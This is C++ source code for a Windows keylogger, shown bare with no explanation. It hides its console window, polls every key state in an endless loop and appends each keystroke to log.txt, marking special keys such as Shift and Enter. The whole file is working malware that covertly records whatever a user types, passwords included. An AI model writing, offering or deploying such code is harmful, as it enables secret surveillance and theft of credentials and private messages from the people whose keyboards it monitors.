1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112
|
#include <iostream>
#include <Windows.h>
using namespace std;
int Save(int _key, char *file);
int main(){
FreeConsole();
char i;
while (true) {
Sleep(50);
for (i = 8; i <= 255; i++){
if (GetAsyncKeyState(i) == -32767) {
Save(i, "log.txt");
}
}
}
return 0;
}
int Save(int _key, char *file) {
cout << _key << endl;
Sleep(50);
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
if (_key == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (_key == VK_BACK)
fprintf(OUTPUT_FILE, "%s", "[BACK]");
else if (_key == VK_LBUTTON)
fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");
else if (_key == VK_RBUTTON)
fprintf(OUTPUT_FILE, "%s", "[RBUTTON]");
else if (_key == VK_RETURN)
fprintf(OUTPUT_FILE, "%s", "[ENTER]");
else if (_key == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (_key == VK_CAPITAL)
fprintf(OUTPUT_FILE, "%s", "[CAPSLOCK]");
else if (_key == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESC]");
else if (_key == VK_MENU)
fprintf(OUTPUT_FILE, "%s", "[MENU]");
else if (_key == VK_SPACE)
fprintf(OUTPUT_FILE, "%s", "[SPACEBAR]");
else if (_key == VK_PRIOR)
fprintf(OUTPUT_FILE, "%s", "[PG UP]");
else if (_key == VK_NEXT)
fprintf(OUTPUT_FILE, "%s", "[PG DWN]");
else if (_key == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (_key == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (_key == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT ARROW]");
else if (_key == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT ARROW]");
else if (_key == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP ARROW]");
else if (_key == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN ARROW]");
else if (_key == VK_DELETE)
fprintf(OUTPUT_FILE, "%s", "[DELETE]");
else if (_key == VK_OEM_PLUS)
fprintf(OUTPUT_FILE, "%s", "[PLUS]");
else if (_key == VK_OEM_COMMA)
fprintf(OUTPUT_FILE, "%s", "[COMMA]");
else if (_key == VK_OEM_MINUS)
fprintf(OUTPUT_FILE, "%s", "[MINUS]");
else if (_key == VK_OEM_PERIOD)
fprintf(OUTPUT_FILE, "%s", "[PERIOD]");
else if (_key == VK_OEM_2)
fprintf(OUTPUT_FILE, "%s", "[FRONTSLASH]");
else if (_key == VK_OEM_3)
fprintf(OUTPUT_FILE, "%s", "[TILDA]");
else if (_key == VK_OEM_4)
fprintf(OUTPUT_FILE, "%s", "[CURLYBRACKET]");
else if (_key == VK_OEM_5)
fprintf(OUTPUT_FILE, "%s", "[BACKSLASH]");
else if (_key == VK_OEM_6)
fprintf(OUTPUT_FILE, "%s", "[BACKWARDCURLYBRACKET]");
else if (_key == VK_OEM_7)
fprintf(OUTPUT_FILE, "%s", "[SINGLEDOUBLEQUOTE]");
else if (_key == VK_MULTIPLY)
fprintf(OUTPUT_FILE, "%s", "[MULTIPLY]");
else if (_key == VK_ADD)
fprintf(OUTPUT_FILE, "%s", "[ADD]");
else if (_key == VK_SUBTRACT)
fprintf(OUTPUT_FILE, "%s", "[SUBTRACT]");
else if (_key == VK_SEPARATOR)
fprintf(OUTPUT_FILE, "%s", "[SEPARATOR]");
else if (_key == VK_DECIMAL)
fprintf(OUTPUT_FILE, "%s", "[DECIMAL]");
else if (_key == VK_DIVIDE)
fprintf(OUTPUT_FILE, "%s", "[DIVIDE]");
else
fprintf(OUTPUT_FILE, "%s", &_key);
fclose(OUTPUT_FILE);
return 0;
}
|